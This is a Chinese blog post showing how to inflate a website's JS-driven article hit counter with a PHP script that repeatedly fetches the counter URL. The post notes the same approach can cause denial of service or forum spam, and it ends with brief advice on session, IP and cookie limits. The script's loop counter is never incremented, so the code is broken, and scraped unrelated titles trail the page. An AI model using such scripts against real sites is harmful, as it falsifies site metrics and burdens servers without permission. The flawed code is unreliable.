今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:

<div align=center><SPAN class=Article_tdbgall>

<script language=’javascript’ src=’/Article/GetHits.asp?ArticleID=759’></script>

更新时间:2005-5-27</SPAN>

</div>

点击数后面是一个asp文件去处理的,那么我打开这个文件看看:

document.write(’210’);

是吧,就是GetHists.asp文件处理ArticleID后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。

坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个PHP程序来自动的去访问这个文件。

PHP代码如下:

<?php

/* access_url.php */

define(SUM, 1000); //需要访问的次数

define(L_TIME, 1000); //强制脚本执行的时间

define(S_TIME, 1); //每次访问之间休眠的时间

$url = "http://www.xxx.com/Article/GetHits.asp?ArticleID=759"; //需要访问的地址

set_time_limit(L_TIME);

//访问指定URL函数knowsky.com

function access_url($url)

{

if ($url==’’) return false;

$fp = fopen($url, ’r’) or exit(’Open url faild!’);

if ($fp) {

while (!feof($fp)) {

$file = fgets($fp);

echo $file."\n<p> </p>\n";

}

unset($file);

}

}

//进行测试

for ($i=0; $i<SUM; $i ) {

access_url($url);

sleep(S_TIME);

}

?>

运行上面的程序,那么就会连续访问指定的URL地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(DoS)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。

防范方法:

1. 代码中使用Session机制,当用户提交的时候生成一个Session ID,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。

2. 当用户提交以后记录用户的IP地址,如果指定时间内再提交的话就不允许再提交。

3. 当用户提交内容以后,在用户客户端写入Cookie,如果用户再次提交先检查客户端是否有Cookie来确定是否允许提交。

还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。

php 机数,PHP实现自动刷数和“灌水”机相关推荐

  1. 电脑我的世界服务器无限刷甘蔗,高效率甘蔗机 我的世界自动刷甘蔗 | 我的世界 | MC世界侠...

    高效率甘蔗机 我的世界自动刷甘蔗 你还在烦恼没有足够的甘蔗吗?快来看看这个教程吧. 今天给各位带来的红石教程是一个可挂机式的高效甘蔗机农场,做法比较简单,而且比较实用,甘蔗在生存也是比较常用的的,在后 ...

  2. 我的世界服务器自动刷矿机,我的世界自动刷矿机怎么制作 | 我的世界 | MC世界侠...

    我的世界不作弊怎么刷矿物? 准备一个精准采集的稿子,铁或钻石皆可,有效率和耐久为佳)足量的修稿子材料以及一个多功能工作台(制作要用8个工作台+1个迷宫地图核心). 先收集矿石树核心,用稿子挖,越多越好 ...

  3. 我的世界java版刷雪球机,我的世界自动刷雪球机制作方法,自动刷雪球机怎么做?...

    原标题:我的世界自动刷雪球机制作方法,自动刷雪球机怎么做? 雪球是我的世界中的投掷物,很多时候我们都没有办法快速大量地获取.今天小编就给大家带来了一个快速获得雪球的方法,自动刷雪球机!下面一起跟小编来 ...

  4. 想学会刷机就得学会怎么刷小米4S这种手机就能会了

    小米4刷机图文教程一步一个脚印让你学会刷自己手机 小米4刷机分为线刷和卡刷,卡刷的基础是需要Recovery,那么如果我们手机无法进入Recovery模式该怎么办呢?那么这里就牵涉到一个更深层次的问题 ...

  5. P4343 [SHOI2015]自动刷题机 Python(二分答案)

    在这吐槽一下洛谷的OJ,对Python不是很友好,一样的思路实现下来大部分数据会TLE,需要不断的优化复杂度  :( 题目地址:[SHOI2015]自动刷题机 - 洛谷 优化不下去了,对比了一下Pyt ...

  6. P4343 自动刷题机题解(二分)

    题目 题目背景 曾经发明了信号增幅仪的发明家 SHTSC 又公开了他的新发明:自动刷题机--一种可以自动 AC 题目的神秘装置. 题目描述 自动刷题机刷题的方式非常简单:首先会瞬间得出题目的正确做法, ...

  7. 坐地铁飞机数秒进站,关于3D人脸识别闸机你知道的有多少?

    11月1日起,5G正式进入商用,这意味着5G终于要落地普及啦!在这场5G新风口下,各类人工智能技术的结合也将加速大规模应用,重塑各个传统行业的发展.其中"刷脸"应用遍布零售店.银行 ...

  8. BZOJ4590 [Shoi2015]自动刷题机

    Description 一个自动刷题机,每次有两种操作:写下\(x\)行代码或删除\(x\)行代码(不足则全部删除).存在一个\(n\),每当代码量大于等于\(n\)时将提交一次并把代码全部删除.已知 ...

  9. [SHOI2015]自动刷题机

    [SHOI2015]自动刷题机 题目描述 曾经发明了信号增幅仪的发明家 SHTSC 又公开了他的新发明:自动刷题机--一种可以自动 AC 题目的神秘装置. 自动刷题机刷题的方式非常简单:首先会瞬间得出 ...

最新文章

  1. Debian 6.0 安装过程 及中文乱码
  2. Java源码详解四:String源码分析--openjdk java 11源码
  3. Blockchain:《Blockchain applications in insurance》Deloitte—德勤区块链技术研究报告正文版—听课记录
  4. python 距离矩阵_创建距离矩阵?
  5. 计算机专业基础 -- 数据结构入门与算法基础知识
  6. 你不知道的JS(原型)
  7. VS code 连接Linux服务器
  8. 【APP自动化测试必知必会】Appium之微信小程序自动化测试
  9. 前端灰度发布 你知多少?
  10. 国科大学习资料–模式识别--精练考点
  11. Congfu Xu's HomePage
  12. MySQL Workbench 已停止工作 错误模块名称: KERNELBASE.dll 异常代码: 0xe0434352 程序无法正常启动:( 0xc000007b)
  13. 通达OA-公共文件柜在线阅读Word 文档失败:Word 无法创建工作文件,请检查临时环境变量
  14. Android模似器硬件加速
  15. 初学者友好!10个有趣且易上手的AI项目(附Python源代码)
  16. Linux命令行下的文本编辑器
  17. Delphi中record的使用
  18. C#、TypeScript 之父 Anders Hejlsberg:“会用 Excel 的,都是程序员 ”
  19. status 401 reading SysUserService#login(Stri
  20. Dubbo 和 Spring Cloud 微服务架构区别(比较笼统 看看就行)

热门文章

  1. 取石子游戏与SG函数
  2. Codeforces problem 67E(多边形求内核的应用)
  3. PostgreSQL学习笔记10之性能提升技巧
  4. PostgreSQL学习笔记8之索引
  5. dnf辅助外挂C++源代码
  6. python爬取糗事百科
  7. 首发 | 中间件小姐姐直播“带货”——阿里程序员必知的插件
  8. 李青源:高清体验和带宽节省,瞄准方向深耕
  9. C/C++学习之路: 模板和异常
  10. 第一章 Spark系统概述